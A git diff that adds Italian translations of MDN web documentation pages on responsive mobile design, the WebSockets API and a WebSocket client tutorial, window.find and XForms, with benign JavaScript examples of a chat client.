+<ul><li> <a href="it/XML">XML</a>
+</li><li> <a href="it/XPath">XPath</a>
+</li></ul>
+</td></tr></tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "en": "en/XSLT", "es": "es/XSLT", "fr": "fr/XSLT", "ja": "ja/XSLT", "pl": "pl/XSLT", "pt": "pt/XSLT" } ) }}
diff --git a/files/it/web_development/mobile/design_sensibile/index.html b/files/it/web_development/mobile/design_sensibile/index.html
new file mode 100644
index 0000000000..b37df450ac
--- /dev/null
+++ b/files/it/web_development/mobile/design_sensibile/index.html
@@ -0,0 +1,49 @@
+---
+title: Design Sensibile
+slug: Web_Development/Mobile/Design_sensibile
+translation_of: Web/Progressive_web_apps
+---
+<p>Come risposta ai problemi associati all'approccio per <a href="/en-US/docs/Web_Development/Mobile/Separate_sites">siti separati</a> nel campo del Web design per mobile e desktop, un'idea relativamente nuova (che è <a href="http://www.alistapart.com/articles/dao/">abbastanza datata</a>) sta aumentando la sua popolarità: evitare il rilevamento user-agent, e creare invece una pagina che risponda client-side alle capacità del browser. Questo approccio, introdotto da Ethan Marcotte nel suo articolo dal titolo <a href="http://alistapart.com">A List Apart</a>, è oggi conosciuto come <a href="http://www.alistapart.com/articles/responsive-web-design/">Web Design Sensibile</a>. Come l'approccio a siti separati, il Web Design sensibile possiede aspetti positivi e negativi.</p>
+<h2 id="Aspetti_Positivi">Aspetti Positivi</h2>
+<p>Sebbene non fosse inizialmente pensato come un metodo per creare siti per dispositivi mobili, il design sensibile ha recentemente ricevuto un sacco di attenzione come metodo per muovere i primi passi verso la mobile-friendliness al posto di creare siti separati.</p>
+<ol style="font-size: medium;">
+ <li>Fa risparmiare tempo e denaro dato che non vi è la necessità di mantenere più siti separati per diversi dispositivi.</li>
+ <li>Il Design Sensibile fornisce ogni pagina con un singolo e unico URL.</li>
+ <li>Le statistiche di condivisione Social (Mi piace di Facebook, Tweets, +1 su Google plus) non sono divise, dato che le versioni mobile e desktop delle vostre pagine web utilizzano un singolo e unico URL.</li>
+ <li>Il Design Sensibile non si cura degli user agent.</li>
+</ol>
+<p>Ci sono degli aspetti decisamente buoni in questo approccio. Dato che non si appoggia al rilevamento degli user-agent, è più affidabile e a prova di aggiornamenti dell'approccio a siti separati. Per siti semplici, può essere significativamente più facile da realizzare e mantenere di altre opzioni.</p>
+<h2 id="Aspetti_Negativi">Aspetti Negativi</h2>
+<p>Questo approccio non è privo di limitazioni. Dato che il contenuto può venire alterato client-side con JavaScript, solo cambiamenti minimali in esso sono consigliati. In genere, le cose possono diventare molto complicate molto in fretta se state provando a codificare due set separati di JavaScript per lavorare sullo stesso DOM. Questa è la ragione principale per la quale le applicazioni Web tendono a non adottare questa soluzione.</p>
+<p>Dando al vostro sito un design sensibile implica anche il riscrivere gli stili se non avete realizzato già un <a href="http://www.smashingmagazine.com/2008/06/26/flexible-layouts-challenge-for-the-future/">layout flessibile</a>. Questo potrebbe essere anche un vantaggio mascherato: creare un design sensibile per il vostro sito potrebbe essere una buona opportunità per modernizzarne e pulirne i fogli di stile.</p>
+<p>Infine, dato che state aggiungendo codice ai vostri script e fogli di stile, le performance potrebbero peggiorare molto di più che con l'approccio a Siti Separati. Non c'è nessun modo per evitare ciò, anche se una riproduzione meditata dei vostri script e fogli di stile potrebbe salvare qualche byte nel lungo periodo.</p>
+<h2 id="Quando_è_bene_scegliere_questa_opzione">Quando è bene scegliere questa opzione</h2>
+<p><a href="/@api/deki/files/5894/=teixido_responsive-300x177.png" title="teixido_responsive-300x177.png"><img align="right" alt="teixido_responsive-300x177.png" class="internal rwrap" height="177" src="/@api/deki/files/5894/=teixido_responsive-300x177.png?size=webview" width="300"></a>Come già detto, dato il cambiamento dei contenuti potrebbe essere difficile, utilizzando questo approccio, far vivere agli utenti un'esperienza significativamente diversa agli utenti mobili senza rendere il codice più complesso. Detto ciò, se le versioni desktop e mobile del vostro sito sono molto simili, allora questo approccio è una buona scelta. Va bene per siti il cui nucleo è formato da documenti la cui prima funzione è consistente attraverso i dispositivi, come le pagine di prodotto. Come potete notare gli esempi sottostanti sono tutti blog e portfolio!</p>
+<h2 id="Examples" name="Examples" style="overflow: hidden;">Esempi</h2>
+<p>Anche se non è popolare come l'approccio a siti separati, ci sono sempre più siti web che utilizzano questa tecnica ogni giorno. Fortunatamente, dato che il codice è tutto client-side, se volete vedere come funziona tecnicamente un sito che utilizza questo approccio, vi basterà visitarne uno e cliccare su "Visualizza il Sorgente Pagina". Quì di seguito riportiamo alcuni esempi:</p>
+<ul>
+ <li><a href="http://teixido.co/">http://teixido.co/</a> – uno dei miei design sensibili preferiti, inserito anche in alcune immagini sottostanti!</li>
+ <li><a href="http://adactio.com/journal/1696">http://adactio.com/journal/1696</a> – contiene anche un buon articolo da leggere, con i propri esempi.</li>
+ <li><a href="http://thinkvitamin.com/">http://thinkvitamin.com/</a></li>
+ <li><a href="http://stephencaver.com/">http://stephencaver.com/</a></li>
+ <li><a href="http://hicksdesign.co.uk/">http://hicksdesign.co.uk/</a></li>
+</ul>
+<p>Malgrado sia un approccio relativamente giovane, stanno già emergendo delle pratiche migliori. Per esempio, se state progettando un sito da una bozza con questa opzione in mente, è solitamente utile <a href="http://www.lukew.com/ff/entry.asp?1117">creare un design per piccoli schermi </a>prima, in maniera da avere chiari i vincoli del mobile fin dall'inizio. Altresì valido è l'utilizzo del miglioramento progressivo per i vostri fogli di stile invece di nascondere elementi del vostro sito esistente con delle media query. In questo modo, i vecchi browser che non supportano le media query potranno comunque visualizzare il layout corretto. Una presentazione eccellente sui meriti di questo metodo è disponibile <a href="http://www.slideshare.net/bryanrieger/rethinking-the-mobile-web-by-yiibu">qui</a>.</p>
+<h2 id="Approcci_per_lo_sviluppo_Web_per_il_mobile">Approcci per lo sviluppo Web per il mobile</h2>
+<p>Date un'occhiata agli articoli seguenti per un background e altri approcci per sviluppare piattaforme mobili.</p>
+<ul>
+ <li><a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="XML Web Services">What is mobile-friendliness?</a></li>
+ <li><a href="/en-US/docs/Web_Development/Mobile/Separate_sites" title="Web development/Mobile/Separate sites">Separate sites</a></li>
+ <li><a href="/en-US/docs/Web_development/Mobile/A_hybrid_approach" title="Web development/Mobile/Hybrid approach">A hybrid approach</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/app_layout/Responsive_design_versus_adaptive_design?search=responsive%20design">Responsive versus adaptive design</a></li>
+</ul>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+ <li><a href="/en-US/docs/Web_Development/Responsive_Web_design" title="Responsive Web design">Responsive Web design</a> per risorse aggiuntive</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/app_layout/Responsive_design_versus_adaptive_design?search=responsive%20design">Responsive versus adaptive design</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Informazioni_originali_sul_documento">Informazioni originali sul documento</h3>
+ <p>Questo documento è stato originariamente pubblicato il 27 Maggio 2011 sul blog Mozilla Webdev come "<a href="http://blog.mozilla.com/webdev/2011/05/27/approaches-to-mobile-web-development-part-3-responsive-design/" title="http://blog.mozilla.com/webdev/2011/05/27/approaches-to-mobile-web-development-part-3-responsive-design/">Approaches to Mobile Web Development Part 3 - Responsive Design</a>", da Jason Grlicky.</p>
+</div>
+<p> </p>
diff --git a/files/it/web_development/mobile/index.html b/files/it/web_development/mobile/index.html
new file mode 100644
index 0000000000..112d15199d
--- /dev/null
+++ b/files/it/web_development/mobile/index.html
@@ -0,0 +1,17 @@
+---
+title: Mobile Web development
+slug: Web_Development/Mobile
+tags:
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+translation_of: Web/Guide/Mobile
+---
+<p>Developing web sites to be viewed on mobile devices requires approaches that ensure a web site works as well on mobile devices as it does on desktop browsers. The following articles describe some of these approaches.</p>
+<ul>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Mobile-friendliness" title="/en/Web_development/Mobile/Mobile-friendliness">What is mobile-friendliness?</a></li>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Separate_sites" title="en/Web_development/Mobile/Separate sites">Separate sites</a></li>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Responsive_design" title="/en/Web_development/Mobile/Responsive design">Responsive design</a></li>
+  <li><a class="vt-p" href="/en/Web_development/Mobile/A_hybrid_approach" title="A New Approach to Web Applications (external)">A hybrid approach</a></li>
+</ul>
diff --git a/files/it/websockets/index.html b/files/it/websockets/index.html
new file mode 100644
index 0000000000..c09953a49e
--- /dev/null
+++ b/files/it/websockets/index.html
@@ -0,0 +1,179 @@
+---
+title: WebSockets
+slug: WebSockets
+tags:
+  - References
+  - WebSockets
+translation_of: Web/API/WebSockets_API
+---
+<p>I WebSockets sono una tecnologia avanzata che rende possibile aprire una sessione di comunicazione interattiva tra il browser dell'utente e un server. Con questa API si possono mandare messaggi al server e ricevere risposte event-driven senza doverle richiedere al server.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentazione</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications" title="WebSockets/Writing WebSocket client applications">Scrivere applicazioni WebSocket lato client</a></dt>
+ <dd>Un tutorial per scrivere applicazioni WebSocket da eseguire nel browser.</dd>
+ <dt><a href="/en-US/docs/WebSockets/WebSockets_reference" title="WebSockets/WebSockets reference">WebSockets reference</a></dt>
+ <dd>Informazioni dettagliate sulla API lato client.</dd>
+ <dt><a href="/en-US/docs/WebSockets/Writing_WebSocket_servers" title="WebSockets/Writing WebSocket servers">(TBD) Writing WebSocket servers</a></dt>
+ <dd>Una guida per scrivere applicazioni lato server che gestiscano il protocollo WebSocket.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/WebSockets" title="tag/WebSockets">Visualizza tutti</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Strumenti</h2>
+
+<ul>
+ <li><a class="external" href="http://socket.io" title="http://socket.io/">Socket.IO</a>: Una potente API cross-platform per WebSocket e <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: Un'implementazione lato server dell'API di Websocket per <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="http://ajf.me/websocket/#libs" title="http://websocket.us/#libs">Una lista più completa di framework e librerie</a></li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 - The WebSocket Protocol</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/websockets/">WebSocket API Specification</a></li>
+ <li><a href="/en-US/docs/Server-sent_events" title="Server-sent_events">Server-Sent Events</a></li>
+ <li><a class="external" href="http://websocket.us/">WebSocket.us</a> - a community-run, not-for-profit site about WebSocket</li>
+</ul>
+
+<h2 id="Compatibilità_tra_browser">Compatibilità tra browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Version -76 support {{obsolete_inline}}</td>
+   <td>6</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.00 (disabled)</td>
+   <td>5.0.1</td>
+  </tr>
+  <tr>
+   <td>Protocol version 7 support {{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}<br>
+    {{property_prefix("Moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Protocol version 10 support {{obsolete_inline}}</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop("7.0")}}<br>
+    {{property_prefix("Moz")}}</td>
+   <td>HTML5 Labs</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Standard - RFC 6455 Support</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Version -76 support {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Protocol version 7 support {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Protocol version 8 support (IETF draft 10) {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Standard - RFC 6455 Support</td>
+   <td>16 (Chrome)</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>WebSockets support in Firefox is continuing to track the evolving WebSocket specification. Firefox 6 implements version 7 of the underlying protocol, while Firefox 7 implements version 8 (as specified by IETF draft 10). Firefox mobile received WebSocket support in Firefox mobile 7.0.</p>
+
+<h4 id="Gecko_6.0">Gecko 6.0</h4>
+
+<p>Prior to Gecko 6.0 {{geckoRelease("6.0")}}, there was, incorrectly, a <code>WebSocket</code> object that some sites were thinking implied that <code>WebSocket</code> services were not prefixed; this object has been renamed to <code>MozWebSocket</code>.</p>
+
+<h4 id="Gecko_7.0">Gecko 7.0</h4>
+
+<p>Starting in Gecko 7.0 {{geckoRelease("7.0")}}, the <code>network.websocket.max-connections</code> preference is used to determine the maximum number of WebSocket connections that can be open at a time. The default value is 200.</p>
+
+<h4 id="Gecko_8.0">Gecko 8.0</h4>
+
+<p>Starting in Gecko 8.0 {{geckoRelease("8.0")}}, the deflate-stream extension to the WebSocket protocol has been disabled, since it's been deprecated from the specification drafts. This resolves incompatibilities with some sites.</p>
+
+<h4 id="Gecko_11.0">Gecko 11.0</h4>
+
+<p>Prior to Gecko 11.0, both incoming and outgoing messages were limited to 16 MB in size. They may now be up to 2 GB in size. Note, however, that memory limitations (especially on mobile devices) make that a theoretical maximum, not a practical one. In reality, transfers of that size will fail on devices that don't have enough memory.</p>
+
+<p>Additionally, ArrayBuffer send and receive support for binary data has been implemented.</p>
+
+<p>Starting in Gecko 11.0, the WebSocket API is no longer prefixed.</p>
+
+<div class="warning"><strong>Warning:</strong> Among other things, a key reason WebSockets was disabled by default in Firefox 4 and 5 is the discovery of a <a class="external" href="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html" title="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html">security issue in the protocol's design</a>. This was fixed in Firefox 6 by implementing a newer version of the protocol that corrects the problem.</div>
+
+<div>{{HTML5ArticleTOC}}</div>
diff --git a/files/it/websockets/writing_websocket_client_applications/index.html b/files/it/websockets/writing_websocket_client_applications/index.html
new file mode 100644
index 0000000000..a146730537
--- /dev/null
+++ b/files/it/websockets/writing_websocket_client_applications/index.html
@@ -0,0 +1,184 @@
+---
+title: Writing WebSocket client applications
+slug: WebSockets/Writing_WebSocket_client_applications
+tags:
+  - WebSocket
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+---
+<p><span style="line-height: 1.5;">WebSockets è una tecnologia, basata sul protocollo ws, che rende possibile stabilire una connessione continua tra un client e un server. Un client websocket può essere il browser dell'utente, ma il protocollo è indipendente dalla piattaforma, così com'è indipendente il protocollo <code>http</code>.</span></p>
+
+<div class="note"><strong>Note:</strong> Abbiamo un esempio funzionante di un sistema chat/server utilizzato per gli snippet di codice che saranno resi disponibili una volta che la nostra infrastruttura sarà pronta per ospitare gli esempi di WebSocket propriamente.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Creare_un_oggetto_WebSocket">Creare un oggetto WebSocket</h2>
+
+<p>Per rendere possibile la comunicazione utilizzando il protocollo WebSocket avrai bisogno di creare un oggetto <a href="/en/WebSockets/WebSockets_reference/WebSocket">WebSocket</a>; questo proverà automaticamente a connettersi con il server.</p>
+
+<p>Il costruttore del WebSocket accetta due parametri, di cui il secondo opzionale:</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Lo URL a cui connettersi, questo dovrebbe essere lo URL al quale il server WebSocket risponderà.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Una stringa con un singolo protocollo o un array di stringhe di protocolli. Queste stringhe sono utilizzate per indicare i sotto protocolli così che il singolo server possa implementare più sotto protocolli WebSocket (per esempio, potresti volere che un server sia capace di gestire diversi tipi di interazioni dipendentemente dal protocollo specificato). Se non specifighi il protocollo, verrà usata una stringa vuota.</dd>
+</dl>
+
+<p>Il costruttore può lanciare un eccezione:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>La porta a cui la connessione sta provado ad accedere è bloccata.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Errori_di_connessione">Errori di connessione</h3>
+
+<p>Se accade un errore durante un tentativo di connessione, prima un semplice evento con il nome "error" è inviato all'oggetto <code><a href="/en/WebSockets/WebSockets_reference/WebSocket">WebSocket</a></code> (invocando così il suo gestore <code>onerror</code>), e poi <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent">CloseEvent</a></code> (invocando così il gestore <code>onclose</code>) per indicare la ragione della chiusura di connessione.</p>
+
+<p>Da Firefox 11 tuttavia, è tipico ricevere un errore descrittivo nella console della piattaforma Mozilla e un codice di chiusura definito in <a href="http://tools.ietf.org/html/rfc6455#section-7.4">RFC 6455, Section 7.4 </a>attraverso <a href="/en/WebSockets/WebSockets_reference/CloseEvent">CloseEvent</a>.</p>
+
+<h3 id="Esempi">Esempi</h3>
+
+<p>Questo semplice esempio crea un nuovo WebSocket, connettendosi al server all'indirizzo <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. Un protocollo chiamato "protocolOne" è presente nella richiesta per il socket in esempio anche se omesso.</p>
+
+<pre class="brush: js">var esempioSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+</pre>
+
+<p>Alla restituzione, <code>esempioSocket.readyState</code> è <code>CONNECTING</code>. Il <code>readyState</code> diventerà <code>OPEN</code> quando la connessione sarà abilitata a trasmettere dati.</p>
+
+<p>Se vuoi aprire una connessione e essere flessibile sui protocolli che supporti, puoi specificare un array di protocolli:</p>
+
+<pre class="brush: js">var esempioSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+</pre>
+
+<p>Quando la connessione è stabilita (quindi <code>readyState</code> è <code>OPEN</code>), <code>esempioSocket.protocol</code> ti dirà quale protocollo il server ha selezionato.</p>
+
+<p>Negli esempi qui sopra, <code>ws</code> sostituisce <code>http</code>, così come <code>wss </code>sostituisce <code>https</code>. Per stabilire un <code>WebSocket</code> ci si basa sul <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">meccanismo di upgrade HTTP</a>, così la richiesta per l'aggiornamento del protocollo è implicita quando richiamiamo il server HTTP come <code>ws://www.example.com</code> oppure <code>wss://www.example.com</code>.</p>
+
+<h2 id="Inviare_dati_al_server">Inviare dati al server</h2>
+
+<p>Una volta stabilita la connessione puoi trasmettere dati al server. Per farlo, chiama il metodo <code><a href="/en/WebSockets/WebSockets_reference/WebSocket#send()">send()</a> </code>dell'oggetto WebSocket per ogni messaggio che vuoi inviare:</p>
+
+<pre class="brush: js">esempioSocket.send("Ecco del testo che il server sta aspettando di ricevere!");
+</pre>
+
+<p>Puoi inviare dati come una stringa, {{ domxref("Blob") }} o un <code><a href="/en/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code>.</p>
+
+<div class="note"><strong>Note:</strong> Prima della versione 11, Firefox supportava solamente l'invio di dati come stringa.</div>
+
+<p>Stabilire una connessione è un'operazione di natura asincrona e quindi incline a errori. Chiamare il metodo <code>send() </code>immediatamente dopo la creazione del <code>WebSocket</code> non ne implica il successo. Possiamo assicurarci che l'invio di dati venga fatto dopo l'avvenuta connessione con un gestore <code>onopen</code>:</p>
+
+<pre class="brush: js">esempioSocket.onopen = function (event) {
+  esempioSocket.send("Ecco del testo che il server sta aspettando di ricevere!");
+};
+</pre>
+
+<h3 id="Usare_JSON_per_trasmettere_oggetti">Usare JSON per trasmettere oggetti</h3>
+
+<p>Una cosa utile che puoi fare è di utilizzare <a href="/en/JSON">JSON</a> per inviare dati ragionevolmente complessi al server. Per esempio, un programma di chat puoi interagire con il server utilizzando pacchetti di dati JSON-incapsulati:</p>
+
+<pre class="brush: js">// Invia del testo a tutti gli utenti tramite il server
+function sendText() {
+  // Costruisci un oggetto msg contenente i dati di cui il server ha bisogno per processare il messaggio dalla chat del client.
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // Invia l'oggetto msg formattato come una stringa JSON.
+  esempioSocket.send(JSON.stringify(msg));
+
+  // Togli il testo dall'elemento di input, pronto a ricevere la prossima linea di testo dall'utente.
+  document.getElementById("text").value = "";
+}
+</pre>
+
+<h2 id="Ricevere_messaggi_dal_server">Ricevere messaggi dal server</h2>
+
+<p>WebSockets è una API dipendente dagli eventi; quando i messaggi sono ricevuti, un evento "message" è inviato alla funzione <code>onmessage</code>. Per iniziare a ascoltare per la ricezione di dati puoi fare così:</p>
+
+<pre class="brush: js">esempioSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+</pre>
+
+<h3 id="Ricevere_e_interpretare_oggetti_JSON">Ricevere e interpretare oggetti JSON</h3>
+
+<p>Prendiamo in considerazione l'applicazione chat sul client richiamata precedentemente in {{ anch("Usare JSON per trasmettere oggetti") }}. Ci sono diversi tipi di pacchetti di dati che il client potrebbe ricevere, come:</p>
+
+<ul>
+ <li>Login handshake</li>
+ <li>Messaggio di testo</li>
+ <li>Aggiornamenti lista utenti</li>
+</ul>
+
+<p>Il codice che interpreta questi messaggi in arrivo potrebbe assomigliare a questo:</p>
+
+<pre class="brush: js">esempioSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "&lt;b&gt;User &lt;em&gt;" + msg.name + "&lt;/em&gt; signed in at " + timeStr + "&lt;/b&gt;&lt;br&gt;";
+      break;
+    case "message":
+      text = "(" + timeStr + ") &lt;b&gt;" + msg.name + "&lt;/b&gt;: " + msg.text + "&lt;br&gt;";
+      break;
+    case "rejectusername":
+      text = "&lt;b&gt;Your username has been set to &lt;em&gt;" + msg.name + "&lt;/em&gt; because the name you chose is in use.&lt;/b&gt;&lt;br&gt;"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i &lt; msg.users.length; i++) {
+        ul += msg.users[i] + "&lt;br&gt;";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+</pre>
+
+<p>Qui utilizziamo<code><a href="/en/JavaScript/Reference/Global_Objects/JSON/parse"> JSON.parse() </a></code>per convertire l'oggetto JSON all'oggetto originale, poi esaminiamo e agiamo sui suoi contenuti.</p>
+
+<h3 id="Formato_dati_testo">Formato dati testo</h3>
+
+<p>Il testo ricevuto attraverso una connessione WebSocket è in formato UTF-8.</p>
+
+<p>Prima di Gecko 9.0 {{ geckoRelease("9.0") }}, alcuni non-caratteri in UTF-8 valido causavano la chiusura della connessione. Adesso Gecko permette questi valori.</p>
+
+<h2 id="Chiudere_la_connessione">Chiudere la connessione</h2>
+
+<p>Quando hai finito di usare la connessione WebSocket, chiama il metodo <code><a href="/en/WebSockets/WebSockets_reference/WebSocket#close()">close() </a></code>del WebSocket:</p>
+
+<pre class="brush: js">esempioSocket.close();
+</pre>
+
+<p>Potrebbe essere utile esaminare l'attributo<code> bufferedAmount </code>prima di provare a chiudere la connessione per assicurarsi che non ci siano dati che devono essere ancora trasmessi al network.</p>
+
+<h2 id="Considerazioni_di_sicurezza">Considerazioni di sicurezza</h2>
+
+<p>I WebSockets non dovrebbero essere usati in un ambiente di contenuti misti; non dovresti aprire connessioni non sicure da una pagina che carica attraverso HTTPS o viceversa. Alcuni browser lo vietano esplicitamente, compreso Firefox 8 e superiore.</p>
diff --git a/files/it/window.find/index.html b/files/it/window.find/index.html
new file mode 100644
index 0000000000..ebebfa374d
--- /dev/null
+++ b/files/it/window.find/index.html
@@ -0,0 +1,32 @@
+---
+title: window.find
+slug: window.find
+tags:
+  - DOM
+  - DOM0
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Window/find
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Sommario</h3>
+<p>Trova una stringa in una finestra.</p>
+<h3 id="Syntax" name="Syntax">Sintassi</h3>
+<pre class="eval"><em>window</em>.find(<em>aString</em>, <em>aCaseSensitive</em>, <em>aBackwards</em>, <em>aWrapAround</em>,
+            <em>aWholeWord</em>, <em>aSearchInFrames</em>, <em>aShowDialog</em>);
+</pre>
+<ul>
+ <li>aString: La stringa di testo da cercare.</li>
+ <li>aCaseSensitive: Booleano. Se true, imposta la ricerca a case-sensitive.</li>
+ <li>aBackwards: Booleano. Se true, imposta la ricerca al contrario.</li>
+ <li>aWrapAround: Booleano. If true, specifies a wrap around search.</li>
+ <li>aWholeWord: Boolean. Se true, imposta la ricerca solo su parole intere.</li>
+ <li>aSearchInFrames: Booleano. Se true, attiva la ricerca nei frames.</li>
+ <li>aShowDialog: Boolean. Se true, mostra una finestra di dialogo per la ricerca.</li>
+</ul>
+<h3 id="Returns" name="Returns">Returns</h3>
+<p>true if the string is found; otherwise, false.</p>
+<h3 id="Example" name="Example">Esempio</h3>
+<h3 id="Notes" name="Notes">Note</h3>
+<h3 id="Specification" name="Specification">Specifiche</h3>
+<p>{{ DOM0() }} This was added by with {{ Bug(9550) }}.</p>
diff --git a/files/it/xforms/index.html b/files/it/xforms/index.html
new file mode 100644
index 0000000000..5fd80ce0b3
--- /dev/null
+++ b/files/it/xforms/index.html
@@ -0,0 +1,47 @@
+---
+title: XForms
+slug: XForms
+tags:
+  - Tutte_le_categorie
+  - XForms
+translation_of: Archive/Web/XForms
+---
+<p>
+</p><p><b>XForms</b> è il futuro dei form on-line così come è stato previsto dal W3C. Conforme con altri standard come <a href="it/XML_Schema">XML Schema</a>, <a href="it/XPath">XPath</a> e <a href="it/XML_Events">XML Events</a>, XForm cerca di rimuovere alcune limitazioni relative all'attuale modello di <a href="it/HTML">HTML</a>. Altri punti di forza sono la separazione dei dati dalla presentazione, una forte tipizzazione, la possibilità di inviare dati <a href="it/XML">XML</a> ai server invece di coppie nome/valore e una maniera descrittiva di creare form che possano essere visualizzati su un'ampia varietà di dispositivi. XForms è una <a class="external" href="http://www.w3.org/MarkUp/Forms/">specifica del W3C</a>.
+</p><p>Il supporto a XForms può essere aggiunto a Firefox e SeaMonkey installando la <a class="external" href="http://www.mozilla.org/projects/xforms">Mozilla XForms Extension</a>.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> Documentazione </h4>
+<dl><dt> <a href="it/Suggerimenti_per_la_risoluzione_dei_problemi_in_XForms">Suggerimenti per la risoluzione dei problemi in XForms</a>
+</dt><dd> <small>Una piccola collezione di suggerimenti per risolvere i problemi più comuni con XForms.</small>
+</dd></dl>
+<dl><dt> <a href="it/Aggiunte_di_Mozilla_a_XForms">Aggiunte di Mozilla a XForms</a>
+</dt><dd> <small>L'articolo spiega in che modo Mozilla implementa modifiche o estensioni alla specifica di XForms 1.1.</small>
+</dd></dl>
+<dl><dt> <a href="it/Controlli_personalizzati_in_XForms">Controlli personalizzati in XForms</a>
+</dt><dd> <small>I controlli personalizzati permettono all'autore dei form di modificarne la visualizzazione attravero <a href="it/XBL">XBL</a> o di creare, per esempio, un controllo </small></dd></dl>
